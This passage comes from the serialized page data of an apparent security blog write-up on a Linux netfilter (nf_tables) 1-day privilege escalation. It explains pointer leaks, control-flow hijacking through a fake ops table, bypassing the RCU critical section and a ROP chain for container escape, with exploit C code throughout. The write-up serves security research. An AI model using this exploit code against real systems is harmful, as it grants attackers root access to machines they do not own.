obj_spray",{"type":23,"tag":504,"props":54549,"children":54550},{"style":523},[54551],{"type":28,"value":54511},{"type":23,"tag":504,"props":54553,"children":54554},{"style":1440},[54555],{"type":28,"value":3001},{"type":23,"tag":504,"props":54557,"children":54558},{"style":523},[54559],{"type":28,"value":576},{"type":23,"tag":504,"props":54561,"children":54562},{"style":1440},[54563],{"type":28,"value":2991},{"type":23,"tag":504,"props":54565,"children":54566},{"style":523},[54567],{"type":28,"value":576},{"type":23,"tag":504,"props":54569,"children":54570},{"style":511},[54571],{"type":28,"value":53474},{"type":23,"tag":504,"props":54573,"children":54574},{"style":523},[54575],{"type":28,"value":576},{"type":23,"tag":504,"props":54577,"children":54578},{"style":1440},[54579],{"type":28,"value":3001},{"type":23,"tag":504,"props":54581,"children":54582},{"style":523},[54583],{"type":28,"value":630},{"type":23,"tag":504,"props":54585,"children":54586},{"class":506,"line":1450},[54587,54592,54596,54601,54605,54609,54614,54618,54622,54627,54631,54636],{"type":23,"tag":504,"props":54588,"children":54589},{"style":511},[54590],{"type":28,"value":54591},"    uint64_t",{"type":23,"tag":504,"props":54593,"children":54594},{"style":598},[54595],{"type":28,"value":8797},{"type":23,"tag":504,"props":54597,"children":54598},{"style":523},[54599],{"type":28,"value":54600},"fake_obj ",{"type":23,"tag":504,"props":54602,"children":54603},{"style":598},[54604],{"type":28,"value":601},{"type":23,"tag":504,"props":54606,"children":54607},{"style":523},[54608],{"type":28,"value":801},{"type":23,"tag":504,"props":54610,"children":54611},{"style":511},[54612],{"type":28,"value":54613},"uint64_t",{"type":23,"tag":504,"props":54615,"children":54616},{"style":598},[54617],{"type":28,"value":8797},{"type":23,"tag":504,"props":54619,"children":54620},{"style":523},[54621],{"type":28,"value":2105},{"type":23,"tag":504,"props":54623,"children":54624},{"style":517},[54625],{"type":28,"value":54626},"getudata",{"type":23,"tag":504,"props":54628,"children":54629},{"style":523},[54630],{"type":28,"value":54511},{"type":23,"tag":504,"props":54632,"children":54633},{"style":622},[54634],{"type":28,"value":54635},"\"spray-2\"",{"type":23,"tag":504,"props":54637,"children":54638},{"style":523},[54639],{"type":28,"value":630},{"type":23,"tag":504,"props":54641,"children":54642},{"class":506,"line":1463},[54643],{"type":23,"tag":504,"props":54644,"children":54645},{"style":523},[54646],{"type":28,"value":9299},{"type":23,"tag":82,"props":54648,"children":54650},{"id":54649},"leaking-self-pointer-of-nft_object",[54651,54653],{"type":28,"value":54652},"Leaking self pointer of ",{"type":23,"tag":56,"props":54654,"children":54656},{"className":54655},[],[54657],{"type":28,"value":54092},{"type":23,"tag":24,"props":54659,"children":54660},{},[54661,54663,54668,54670,54675,54677,54682,54684,54690],{"type":28,"value":54662},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":56,"props":54664,"children":54666},{"className":54665},[],[54667],{"type":28,"value":54092},{"type":28,"value":54669}," to get its own address. This is possible because the ",{"type":23,"tag":56,"props":54671,"children":54673},{"className":54672},[],[54674],{"type":28,"value":54092},{"type":28,"value":54676}," has a ",{"type":23,"tag":56,"props":54678,"children":54680},{"className":54679},[],[54681],{"type":28,"value":54077},{"type":28,"value":54683}," pointer (similar to ",{"type":23,"tag":56,"props":54685,"children":54687},{"className":54686},[],[54688],{"type":28,"value":54689},"table->udata",{"type":28,"value":54691}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":24,"props":54693,"children":54694},{},[54695,54696,54701,54703,54709,54711,54716,54718,54724,54726,54732,54734,54739,54741,54746,54748,54753,54755],{"type":28,"value":15592},{"type":23,"tag":56,"props":54697,"children":54699},{"className":54698},[],[54700],{"type":28,"value":54092},{"type":28,"value":54702}," struct also contains a ",{"type":23,"tag":56,"props":54704,"children":54706},{"className":54705},[],[54707],{"type":28,"value":54708},"list_head",{"type":28,"value":54710}," inserted in a circular list containing all ",{"type":23,"tag":56,"props":54712,"children":54714},{"className":54713},[],[54715],{"type":28,"value":54092},{"type":28,"value":54717},"'s that belong to a given ",{"type":23,"tag":56,"props":54719,"children":54721},{"className":54720},[],[54722],{"type":28,"value":54723},"table",{"type":28,"value":54725},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":56,"props":54727,"children":54729},{"className":54728},[],[54730],{"type":28,"value":54731},"table->list.next",{"type":28,"value":54733}," pointer in the ",{"type":23,"tag":56,"props":54735,"children":54737},{"className":54736},[],[54738],{"type":28,"value":54092},{"type":28,"value":54740}," will point back to the ",{"type":23,"tag":56,"props":54742,"children":54744},{"className":54743},[],[54745],{"type":28,"value":54708},{"type":28,"value":54747}," contained in the ",{"type":23,"tag":56,"props":54749,"children":54751},{"className":54750},[],[54752],{"type":28,"value":54723},{"type":28,"value":54754}," and vice-versa.\n",{"type":23,"tag":126,"props":54756,"children":54758},{"alt":128,"src":54757},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":24,"props":54760,"children":54761},{},[54762,54764,54769,54771,54776,54778,54784,54786,54791,54792,54797,54799,54804,54806,54811],{"type":28,"value":54763},"In short, that means that if we swap the ",{"type":23,"tag":56,"props":54765,"children":54767},{"className":54766},[],[54768],{"type":28,"value":54077},{"type":28,"value":54770}," pointer of the ",{"type":23,"tag":56,"props":54772,"children":54774},{"className":54773},[],[54775],{"type":28,"value":54092},{"type":28,"value":54777}," with its own ",{"type":23,"tag":56,"props":54779,"children":54781},{"className":54780},[],[54782],{"type":28,"value":54783},"list.next",{"type":28,"value":54785}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":56,"props":54787,"children":54789},{"className":54788},[],[54790],{"type":28,"value":54092},{"type":28,"value":51317},{"type":23,"tag":56,"props":54793,"children":54795},{"className":54794},[],[54796],{"type":28,"value":54708},{"type":28,"value":54798}," which is also the start of the ",{"type":23,"tag":56,"props":54800,"children":54802},{"className":54801},[],[54803],{"type":28,"value":54092},{"type":28,"value":54805}," itself.\n",{"type":23,"tag":296,"props":54807,"children":54808},{},[54809],{"type":28,"value":54810},"NOTE:",{"type":28,"value":54812}," This is a novel small trick.",{"type":23,"tag":494,"props":54814,"children":54816},{"className":28091,"code":54815,"language":28093,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[54817],{"type":23,"tag":56,"props":54818,"children":54819},{"__ignoreMap":7},[54820,54827,54835,54848,54896,54923,54934,54972,54979,55008,55038],{"type":23,"tag":504,"props":54821,"children":54822},{"class":506,"line":507},[54823],{"type":23,"tag":504,"props":54824,"children":54825},{"style":523},[54826],{"type":28,"value":9299},{"type":23,"tag":504,"props":54828,"children":54829},{"class":506,"line":540},[54830],{"type":23,"tag":504,"props":54831,"children":54832},{"style":523},[54833],{"type":28,"value":54834},"    // Leak nft_object ptr using table linked list\n",{"type":23,"tag":504,"props":54836,"children":54837},{"class":506,"line":555},[54838,54843],{"type":23,"tag":504,"props":54839,"children":54840},{"style":523},[54841],{"type":28,"value":54842},"    fake_obj[8] = 8;",{"type":23,"tag":504,"props":54844,"children":54845},{"style":1106},[54846],{"type":28,"value":54847},"           // ulen = 8\n",{"type":23,"tag":504,"props":54849,"children":54850},{"class":506,"line":633},[54851,54856,54860,54865,54869,54873,54878,54882,54886,54891],{"type":23,"tag":504,"props":54852,"children":54853},{"style":529},[54854],{"type":28,"value":54855},"    fake_obj",{"type":23,"tag":504,"props":54857,"children":54858},{"style":523},[54859],{"type":28,"value":2711},{"type":23,"tag":504,"props":54861,"children":54862},{"style":1440},[54863],{"type":28,"value":54864},"9",{"type":23,"tag":504,"props":54866,"children":54867},{"style":523},[54868],{"type":28,"value":595},{"type":23,"tag":504,"props":54870,"children":54871},{"style":598},[54872],{"type":28,"value":601},{"type":23,"tag":504,"props":54874,"children":54875},{"style":529},[54876],{"type":28,"value":54877}," fake_obj",{"type":23,"tag":504,"props":54879,"children":54880},{"style":523},[54881],{"type":28,"value":2711},{"type":23,"tag":504,"props":54883,"children":54884},{"style":1440},[54885],{"type":28,"value":3001},{"type":23,"tag":504,"props":54887,"children":54888},{"style":523},[54889],{"type":28,"value":54890},"];",{"type":23,"tag":504,"props":54892,"children":54893},{"style":1106},[54894],{"type":28,"value":54895}," // udata = list->next\n",{"type":23,"tag":504,"props":54897,"children":54898},{"class":506,"line":687},[54899,54903,54907,54911,54915,54919],{"type":23,"tag":504,"props":54900,"children":54901},{"style":517},[54902],{"type":28,"value":54506},{"type":23,"tag":504,"props":54904,"children":54905},{"style":523},[54906],{"type":28,"value":54511},{"type":23,"tag":504,"props":54908,"children":54909},{"style":1440},[54910],{"type":28,"value":2100},{"type":23,"tag":504,"props":54912,"children":54913},{"style":523},[54914],{"type":28,"value":576},{"type":23,"tag":504,"props":54916,"children":54917},{"style":1440},[54918],{"type":28,"value":2991},{"type":23,"tag":504,"props":54920,"children":54921},{"style":523},[54922],{"type":28,"value":630},{"type":23,"tag":504,"props":54924,"children":54925},{"class":506,"line":736},[54926,54930],{"type":23,"tag":504,"props":54927,"children":54928},{"style":517},[54929],{"type":28,"value":54535},{"type":23,"tag":504,"props":54931,"children":54932},{"style":523},[54933],{"type":28,"value":2647},{"type":23,"tag":504,"props":54935,"children":54936},{"class":506,"line":785},[54937,54942,54946,54951,54955,54959,54963,54967],{"type":23,"tag":504,"props":54938,"children":54939},{"style":517},[54940],{"type":28,"value":54941},"    udata_spray",{"type":23,"tag":504,"props":54943,"children":54944},{"style":523},[54945],{"type":28,"value":54511},{"type":23,"tag":504,"props":54947,"children":54948},{"style":1440},[54949],{"type":28,"value":54950},"0xe8",{"type":23,"tag":504,"props":54952,"children":54953},{"style":523},[54954],{"type":28,"value":576},{"type":23,"tag":504,"props":54956,"children":54957},{"style":1440},[54958],{"type":28,"value":16275},{"type":23,"tag":504,"props":54960,"children":54961},{"style":523},[54962],{"type":28,"value":576},{"type":23,"tag":504,"props":54964,"children":54965},{"style":1440},[54966],{"type":28,"value":2991},{"type":23,"tag":504,"props":54968,"children":54969},{"style":523},[54970],{"type":28,"value":54971},", fake_obj);\n",{"type":23,"tag":504,"props":54973,"children":54974},{"class":506,"line":813},[54975],{"type":23,"tag":504,"props":54976,"children":54977},{"emptyLinePlaceholder":16},[54978],{"type":28,"value":1038},{"type":23,"tag":504,"props":54980,"children":54981},{"class":506,"line":851},[54982,54987,54991,54996,55000,55004],{"type":23,"tag":504,"props":54983,"children":54984},{"style":517},[54985],{"type":28,"value":54986},"    get_obj",{"type":23,"tag":504,"props":54988,"children":54989},{"style":523},[54990],{"type":28,"value":54511},{"type":23,"tag":504,"props":54992,"children":54993},{"style":622},[54994],{"type":28,"value":54995},"\"spray-0\"",{"type":23,"tag":504,"props":54997,"children":54998},{"style":523},[54999],{"type":28,"value":576},{"type":23,"tag":504,"props":55001,"children":55002},{"style":511},[55003],{"type":28,"value":2972},{"type":23,"tag":504,"props":55005,"children":55006},{"style":523},[55007],{"type":28,"value":630},{"type":23,"tag":504,"props":55009,"children":55010},{"class":506,"line":869},[55011,55016,55020,55025,55029,55033],{"type":23,"tag":504,"props":55012,"children":55013},{"style":517},[55014],{"type":28,"value":55015},"    printf",{"type":23,"tag":504,"props":55017,"children":55018},{"style":523},[55019],{"type":28,"value":526},{"type":23,"tag":504,"props":55021,"children":55022},{"style":622},[55023],{"type":28,"value":55024},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":504,"props":55026,"children":55027},{"style":47353},[55028],{"type":28,"value":47356},{"type":23,"tag":504,"props":55030,"children":55031},{"style":622},[55032],{"type":28,"value":1268},{"type":23,"tag":504,"props":55034,"children":55035},{"style":523},[55036],{"type":28,"value":55037},", obj_ptr);\n",{"type":23,"tag":504,"props":55039,"children":55040},{"class":506,"line":878},[55041],{"type":23,"tag":504,"props":55042,"children":55043},{"style":523},[55044],{"type":28,"value":9299},{"type":23,"tag":82,"props":55046,"children":55048},{"id":55047},"hijacking-control-flow",[55049],{"type":28,"value":55050},"Hijacking control-flow",{"type":23,"tag":24,"props":55052,"children":55053},{},[55054,55056,55061,55063,55068,55070,55075,55077,55082,55084,55089,55091],{"type":28,"value":55055},"To hijack control-flow, we can use ",{"type":23,"tag":56,"props":55057,"children":55059},{"className":55058},[],[55060],{"type":28,"value":54092},{"type":28,"value":55062}," once again. The ",{"type":23,"tag":56,"props":55064,"children":55066},{"className":55065},[],[55067],{"type":28,"value":54092},{"type":28,"value":55069}," struct has an ",{"type":23,"tag":56,"props":55071,"children":55073},{"className":55072},[],[55074],{"type":28,"value":51648},{"type":28,"value":55076}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":56,"props":55078,"children":55080},{"className":55079},[],[55081],{"type":28,"value":51648},{"type":28,"value":55083}," pointer with the ",{"type":23,"tag":56,"props":55085,"children":55087},{"className":55086},[],[55088],{"type":28,"value":54077},{"type":28,"value":55090}," pointer, taking control of the pointer table.\n",{"type":23,"tag":126,"props":55092,"children":55094},{"alt":128,"src":55093},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":494,"props":55096,"children":55098},{"className":28091,"code":55097,"language":28093,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[55099],{"type":23,"tag":56,"props":55100,"children":55101},{"__ignoreMap":7},[55102,55109,55117,55141,55188,55224,55231,55239,55271,55279,55287,55308,55316,55324,55388,55395,55403,55411,55418,55426,55460,55468,55475,55483,55490,55498,55531,55552],{"type":23,"tag":504,"props":55103,"children":55104},{"class":506,"line":507},[55105],{"type":23,"tag":504,"props":55106,"children":55107},{"style":523},[55108],{"type":28,"value":9299},{"type":23,"tag":504,"props":55110,"children":55111},{"class":506,"line":540},[55112],{"type":23,"tag":504,"props":55113,"children":55114},{"style":523},[55115],{"type":28,"value":55116},"    // Fake ops\n",{"type":23,"tag":504,"props":55118,"children":55119},{"class":506,"line":555},[55120,55125,55129,55133,55137],{"type":23,"tag":504,"props":55121,"children":55122},{"style":523},[55123],{"type":28,"value":55124},"    uint64_t *rop = calloc(29, ",{"type":23,"tag":504,"props":55126,"children":55127},{"style":1012},[55128],{"type":28,"value":54306},{"type":23,"tag":504,"props":55130,"children":55131},{"style":523},[55132],{"type":28,"value":526},{"type":23,"tag":504,"props":55134,"children":55135},{"style":511},[55136],{"type":28,"value":54613},{"type":23,"tag":504,"props":55138,"children":55139},{"style":523},[55140],{"type":28,"value":684},{"type":23,"tag":504,"props":55142,"children":55143},{"class":506,"line":633},[55144,55149,55153,55157,55161,55165,55170,55174,55179,55183],{"type":23,"tag":504,"props":55145,"children":55146},{"style":529},[55147],{"type":28,"value":55148},"    rop",{"type":23,"tag":504,"props":55150,"children":55151},{"style":523},[55152],{"type":28,"value":2711},{"type":23,"tag":504,"props":55154,"children":55155},{"style":1440},[55156],{"type":28,"value":3001},{"type":23,"tag":504,"props":55158,"children":55159},{"style":523},[55160],{"type":28,"value":595},{"type":23,"tag":504,"props":55162,"children":55163},{"style":598},[55164],{"type":28,"value":601},{"type":23,"tag":504,"props":55166,"children":55167},{"style":523},[55168],{"type":28,"value":55169}," kaslr_slide ",{"type":23,"tag":504,"props":55171,"children":55172},{"style":598},[55173],{"type":28,"value":1642},{"type":23,"tag":504,"props":55175,"children":55176},{"style":1440},[55177],{"type":28,"value":55178}," 0xffffffff81988647",{"type":23,"tag":504,"props":55180,"children":55181},{"style":523},[55182],{"type":28,"value":48053},{"type":23,"tag":504,"props":55184,"children":55185},{"style":1106},[55186],{"type":28,"value":55187}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":504,"props":55189,"children":55190},{"class":506,"line":687},[55191,55195,55199,55203,55207,55211,55215,55219],{"type":23,"tag":504,"props":55192,"children":55193},{"style":529},[55194],{"type":28,"value":55148},{"type":23,"tag":504,"props":55196,"children":55197},{"style":523},[55198],{"type":28,"value":2711},{"type":23,"tag":504,"props":55200,"children":55201},{"style":1440},[55202],{"type":28,"value":2100},{"type":23,"tag":504,"props":55204,"children":55205},{"style":523},[55206],{"type":28,"value":595},{"type":23,"tag":504,"props":55208,"children":55209},{"style":598},[55210],{"type":28,"value":601},{"type":23,"tag":504,"props":55212,"children":55213},{"style":523},[55214],{"type":28,"value":55169},{"type":23,"tag":504,"props":55216,"children":55217},{"style":598},[55218],{"type":28,"value":1642},{"type":23,"tag":504,"props":55220,"children":55221},{"style":523},[55222],{"type":28,"value":55223}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":504,"props":55225,"children":55226},{"class":506,"line":736},[55227],{"type":23,"tag":504,"props":55228,"children":55229},{"style":523},[55230],{"type":28,"value":9299},{"type":23,"tag":504,"props":55232,"children":55233},{"class":506,"line":785},[55234],{"type":23,"tag":504,"props":55235,"children":55236},{"style":523},[55237],{"type":28,"value":55238},"    // Send ROP in object udata\n",{"type":23,"tag":504,"props":55240,"children":55241},{"class":506,"line":813},[55242,55247,55251,55256,55261,55266],{"type":23,"tag":504,"props":55243,"children":55244},{"style":523},[55245],{"type":28,"value":55246},"    del_obj(",{"type":23,"tag":504,"props":55248,"children":55249},{"style":1012},[55250],{"type":28,"value":53268},{"type":23,"tag":504,"props":55252,"children":55253},{"style":523},[55254],{"type":28,"value":55255},", \"",{"type":23,"tag":504,"props":55257,"children":55258},{"style":1012},[55259],{"type":28,"value":55260},"spray",{"type":23,"tag":504,"props":55262,"children":55263},{"style":523},[55264],{"type":28,"value":55265},"-0",{"type":23,"tag":504,"props":55267,"children":55268},{"style":622},[55269],{"type":28,"value":55270},"\");\n",{"type":23,"tag":504,"props":55272,"children":55273},{"class":506,"line":851},[55274],{"type":23,"tag":504,"props":55275,"children":55276},{"style":622},[55277],{"type":28,"value":55278},"    wait_destroyer();\n",{"type":23,"tag":504,"props":55280,"children":55281},{"class":506,"line":869},[55282],{"type":23,"tag":504,"props":55283,"children":55284},{"style":622},[55285],{"type":28,"value":55286},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":504,"props":55288,"children":55289},{"class":506,"line":878},[55290,55295,55299,55304],{"type":23,"tag":504,"props":55291,"children":55292},{"style":622},[55293],{"type":28,"value":55294},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":504,"props":55296,"children":55297},{"style":511},[55298],{"type":28,"value":55260},{"type":23,"tag":504,"props":55300,"children":55301},{"style":523},[55302],{"type":28,"value":55303},"-3",{"type":23,"tag":504,"props":55305,"children":55306},{"style":622},[55307],{"type":28,"value":55270},{"type":23,"tag":504,"props":55309,"children":55310},{"class":506,"line":1221},[55311],{"type":23,"tag":504,"props":55312,"children":55313},{"style":622},[55314],{"type":28,"value":55315},"    DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":504,"props":55317,"children":55318},{"class":506,"line":1276},[55319],{"type":23,"tag":504,"props":55320,"children":55321},{"style":622},[55322],{"type":28,"value":55323},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":504,"props":55325,"children":55326},{"class":506,"line":1285},[55327,55332,55336,55340,55344,55349,55354,55359,55363,55368,55373,55378,55383],{"type":23,"tag":504,"props":55328,"children":55329},{"style":622},[55330],{"type":28,"value":55331},"    printf(\"",{"type":23,"tag":504,"props":55333,"children":55334},{"style":523},[55335],{"type":28,"value":2711},{"type":23,"tag":504,"props":55337,"children":55338},{"style":598},[55339],{"type":28,"value":3552},{"type":23,"tag":504,"props":55341,"children":55342},{"style":523},[55343],{"type":28,"value":595},{"type":23,"tag":504,"props":55345,"children":55346},{"style":1012},[55347],{"type":28,"value":55348},"ROP",{"type":23,"tag":504,"props":55350,"children":55351},{"style":1012},[55352],{"type":28,"value":55353}," addr",{"type":23,"tag":504,"props":55355,"children":55356},{"style":523},[55357],{"type":28,"value":55358},": 0",{"type":23,"tag":504,"props":55360,"children":55361},{"style":1012},[55362],{"type":28,"value":18257},{"type":23,"tag":504,"props":55364,"children":55365},{"style":523},[55366],{"type":28,"value":55367},"%",{"type":23,"tag":504,"props":55369,"children":55370},{"style":1012},[55371],{"type":28,"value":55372},"lx",{"type":23,"tag":504,"props":55374,"children":55375},{"style":523},[55376],{"type":28,"value":55377},"\\",{"type":23,"tag":504,"props":55379,"children":55380},{"style":1012},[55381],{"type":28,"value":55382},"n",{"type":23,"tag":504,"props":55384,"children":55385},{"style":622},[55386],{"type":28,"value":55387},"\", rop_addr);\n",{"type":23,"tag":504,"props":55389,"children":55390},{"class":506,"line":1294},[55391],{"type":23,"tag":504,"props":55392,"children":55393},{"emptyLinePlaceholder":16},[55394],{"type":28,"value":1038},{"type":23,"tag":504,"props":55396,"children":55397},{"class":506,"line":1302},[55398],{"type":23,"tag":504,"props":55399,"children":55400},{"style":622},[55401],{"type":28,"value":55402},"    // Point to fake ops\n",{"type":23,"tag":504,"props":55404,"children":55405},{"class":506,"line":1311},[55406],{"type":23,"tag":504,"props":55407,"children":55408},{"style":622},[55409],{"type":28,"value":55410},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":504,"props":55412,"children":55413},{"class":506,"line":1334},[55414],{"type":23,"tag":504,"props":55415,"children":55416},{"style":622},[55417],{"type":28,"value":9299},{"type":23,"tag":504,"props":55419,"children":55420},{"class":506,"line":1370},[55421],{"type":23,"tag":504,"props":55422,"children":55423},{"style":622},[55424],{"type":28,"value":55425},"    // Write ROP\n",{"type":23,"tag":504,"props":55427,"children":55428},{"class":506,"line":1384},[55429,55434,55438,55442,55446,55451,55456],{"type":23,"tag":504,"props":55430,"children":55431},{"style":622},[55432],{"type":28,"value":55433},"    puts(\"",{"type":23,"tag":504,"props":55435,"children":55436},{"style":523},[55437],{"type":28,"value":2711},{"type":23,"tag":504,"props":55439,"children":55440},{"style":598},[55441],{"type":28,"value":3552},{"type":23,"tag":504,"props":55443,"children":55444},{"style":523},[55445],{"type":28,"value":595},{"type":23,"tag":504,"props":55447,"children":55448},{"style":1012},[55449],{"type":28,"value":55450},"Write",{"type":23,"tag":504,"props":55452,"children":55453},{"style":1012},[55454],{"type":28,"value":55455}," ROP",{"type":23,"tag":504,"props":55457,"children":55458},{"style":622},[55459],{"type":28,"value":55270},{"type":23,"tag":504,"props":55461,"children":55462},{"class":506,"line":1392},[55463],{"type":23,"tag":504,"props":55464,"children":55465},{"style":622},[55466],{"type":28,"value":55467},"    deludata_spray(nl, 3, 1);\n",{"type":23,"tag":504,"props":55469,"children":55470},{"class":506,"line":1400},[55471],{"type":23,"tag":504,"props":55472,"children":55473},{"style":622},[55474],{"type":28,"value":55278},{"type":23,"tag":504,"props":55476,"children":55477},{"class":506,"line":1422},[55478],{"type":23,"tag":504,"props":55479,"children":55480},{"style":622},[55481],{"type":28,"value":55482},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":504,"props":55484,"children":55485},{"class":506,"line":1450},[55486],{"type":23,"tag":504,"props":55487,"children":55488},{"emptyLinePlaceholder":16},[55489],{"type":28,"value":1038},{"type":23,"tag":504,"props":55491,"children":55492},{"class":506,"line":1463},[55493],{"type":23,"tag":504,"props":55494,"children":55495},{"style":622},[55496],{"type":28,"value":55497},"    // Takeover RIP\n",{"type":23,"tag":504,"props":55499,"children":55500},{"class":506,"line":1485},[55501,55505,55509,55513,55517,55522,55527],{"type":23,"tag":504,"props":55502,"children":55503},{"style":622},[55504],{"type":28,"value":55433},{"type":23,"tag":504,"props":55506,"children":55507},{"style":523},[55508],{"type":28,"value":2711},{"type":23,"tag":504,"props":55510,"children":55511},{"style":598},[55512],{"type":28,"value":3552},{"type":23,"tag":504,"props":55514,"children":55515},{"style":523},[55516],{"type":28,"value":595},{"type":23,"tag":504,"props":55518,"children":55519},{"style":1012},[55520],{"type":28,"value":55521},"Takeover",{"type":23,"tag":504,"props":55523,"children":55524},{"style":1012},[55525],{"type":28,"value":55526}," RIP",{"type":23,"tag":504,"props":55528,"children":55529},{"style":622},[55530],{"type":28,"value":55270},{"type":23,"tag":504,"props":55532,"children":55533},{"class":506,"line":1503},[55534,55539,55543,55548],{"type":23,"tag":504,"props":55535,"children":55536},{"style":622},[55537],{"type":28,"value":55538},"    dump_obj(nl, \"",{"type":23,"tag":504,"props":55540,"children":55541},{"style":511},[55542],{"type":28,"value":55260},{"type":23,"tag":504,"props":55544,"children":55545},{"style":523},[55546],{"type":28,"value":55547},"-1",{"type":23,"tag":504,"props":55549,"children":55550},{"style":622},[55551],{"type":28,"value":55270},{"type":23,"tag":504,"props":55553,"children":55554},{"class":506,"line":1516},[55555],{"type":23,"tag":504,"props":55556,"children":55557},{"style":622},[55558],{"type":28,"value":9299},{"type":23,"tag":82,"props":55560,"children":55562},{"id":55561},"bypass-context-switch-in-rcu-critical-section",[55563],{"type":28,"value":55564},"Bypass context switch in RCU critical-section",{"type":23,"tag":24,"props":55566,"children":55567},{},[55568,55569,55574],{"type":28,"value":15592},{"type":23,"tag":56,"props":55570,"children":55572},{"className":55571},[],[55573],{"type":28,"value":54092},{"type":28,"value":55575}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":24,"props":55577,"children":55578},{},[55579,55581,55588,55590,55596,55598,55604],{"type":28,"value":55580},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":92,"props":55582,"children":55585},{"href":55583,"rel":55584},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[96],[55586],{"type":28,"value":55587},"previous kernelCTF submission",{"type":28,"value":55589}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":56,"props":55591,"children":55593},{"className":55592},[],[55594],{"type":28,"value":55595},"task_struct",{"type":28,"value":55597}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":56,"props":55599,"children":55601},{"className":55600},[],[55602],{"type":28,"value":55603},"__rcu_read_unlock()",{"type":28,"value":55605}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":494,"props":55607,"children":55609},{"className":28091,"code":55608,"language":28093,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[55610],{"type":23,"tag":56,"props":55611,"children":55612},{"__ignoreMap":7},[55613,55621,55645,55652],{"type":23,"tag":504,"props":55614,"children":55615},{"class":506,"line":507},[55616],{"type":23,"tag":504,"props":55617,"children":55618},{"style":1106},[55619],{"type":28,"value":55620},"    // ROP stage 1\n",{"type":23,"tag":504,"props":55622,"children":55623},{"class":506,"line":540},[55624,55628,55633,55637,55641],{"type":23,"tag":504,"props":55625,"children":55626},{"style":511},[55627],{"type":28,"value":18058},{"type":23,"tag":504,"props":55629,"children":55630},{"style":523},[55631],{"type":28,"value":55632}," pos ",{"type":23,"tag":504,"props":55634,"children":55635},{"style":598},[55636],{"type":28,"value":601},{"type":23,"tag":504,"props":55638,"children":55639},{"style":1440},[55640],{"type":28,"value":18080},{"type":23,"tag":504,"props":55642,"children":55643},{"style":523},[55644],{"type":28,"value":866},{"type":23,"tag":504,"props":55646,"children":55647},{"class":506,"line":555},[55648],{"type":23,"tag":504,"props":55649,"children":55650},{"emptyLinePlaceholder":16},[55651],{"type":28,"value":1038},{"type":23,"tag":504,"props":55653,"children":55654},{"class":506,"line":633},[55655,55659,55664,55668,55672,55676,55680,55684],{"type":23,"tag":504,"props":55656,"children":55657},{"style":529},[55658],{"type":28,"value":55148},{"type":23,"tag":504,"props":55660,"children":55661},{"style":523},[55662],{"type":28,"value":55663},"[pos",{"type":23,"tag":504,"props":55665,"children":55666},{"style":598},[55667],{"type":28,"value":50248},{"type":23,"tag":504,"props":55669,"children":55670},{"style":523},[55671],{"type":28,"value":595},{"type":23,"tag":504,"props":55673,"children":55674},{"style":598},[55675],{"type":28,"value":601},{"type":23,"tag":504,"props":55677,"children":55678},{"style":523},[55679],{"type":28,"value":55169},{"type":23,"tag":504,"props":55681,"children":55682},{"style":598},[55683],{"type":28,"value":1642},{"type":23,"tag":504,"props":55685,"children":55686},{"style":523},[55687],{"type":28,"value":55688}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":82,"props":55690,"children":55692},{"id":55691},"rop",[55693],{"type":28,"value":55348},{"type":23,"tag":24,"props":55695,"children":55696},{},[55697],{"type":28,"value":55698},"Most of the ROP chain to escape the container as root is business as 